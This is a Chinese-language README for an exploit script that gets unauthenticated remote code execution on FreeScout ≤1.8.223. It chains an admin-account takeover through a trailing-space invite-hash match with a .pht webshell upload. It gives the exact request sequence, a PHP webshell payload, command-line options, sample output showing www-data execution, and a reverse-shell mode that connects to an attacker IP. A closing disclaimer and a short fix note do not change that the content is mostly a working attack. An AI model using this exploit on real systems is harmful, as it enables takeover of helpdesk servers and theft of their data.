通过串联两个漏洞实现在 FreeScout ≤ 1.8.223(一个 Laravel 帮助台)上的未认证远程代码执行,这两个漏洞均在 1.8.224 中修复:
POST /user-setup/{hash}/{invite_sent_at} 仅通过 invite_hash 列选取账户。一个已激活的用户其 invite_hash = '',而在 MySQL/MariaDB 上 VARCHAR 相等比较忽略尾部空格,因此 hash = %20 匹配到管理员。invite_sent_at 过期门控使用用户的密码作为密钥解密密文,但解密辅助函数在失败时返回原始输入(空的 catch),因此可以直接传入一个明文当前 Unix 时间戳。该端点随后会覆盖账户的邮箱和密码,并将你登录。.pht 上传。上传拒绝列表(php.*|sh|pl|phtml|phar)未覆盖 .pht,而 Apache mod_php 会将其作为 PHP 执行。将两者串联起来,未认证攻击者即可获得 Web 服务器用户(www-data)的代码执行权限。
GET /user-setup/%20/<unix_ts> 获取一个会话 cookie 和 CSRF token。POST 相同的 URL 覆盖管理员的邮箱/密码并登录(ATO)。POST /uploads/upload 上传一个 shell.pht(<?php system($_GET['c']); ?>)。./exploit.sh -t <target> [options]
-t, --target URL 目标基础 URL(例如 http://10.10.10.10) [必需]
-c, --cmd CMD 执行单条命令(默认:id)
--lhost IP 反向 Shell:攻击者 IP(先启动 nc)
--lport PORT 反向 Shell 端口(默认 4444)
--email ADDR 被接管的管理员邮箱设置(默认 [email protected])
--password PASS 密码设置(默认 Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] 获取设置表单(hash=%20, ts=1784500000)...
[*] 接管管理员 -> [email protected] / Pwned12345 ...
[+] 管理员账户被接管(你也可以登录 http://10.10.10.10/login)
[*] 上传 .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# 反向 Shell(先运行 `nc -lvnp 4444`)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] 管理员账户被接管 ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] 向 10.10.14.7:4444 发送反向 Shell ...
[+] 载荷已发送——请检查你的监听器。
bash, curl, jq1.0.x – 1.8.223;1.8.224+ 修复了这两个缺陷(302 变成接管失败)。.pht 的执行依赖于服务器通过 mod_php 运行 .pht——这正是 CVE 所针对的“标准 Apache + libapache2-mod-php”环境。system() 通过 /bin/sh(Debian/Ubuntu 上的 dash)运行,它不理解仅限 bash 的 >& /dev/tcp/... 重定向,而 Base64 也避免了所有引号陷阱。!——! 会在交互式 bash/zsh 中触发历史扩展并破坏粘贴的命令。VARCHAR 相等比较作为安全令牌(尾部空格冲突),也永远不要将解密失败视为有效值——拒绝为空或无效的令牌。仅用于授权的安全测试和教育目的。请勿将其用于您不拥有或未经明确许可进行测试的系统。作者不对滥用承担任何责任。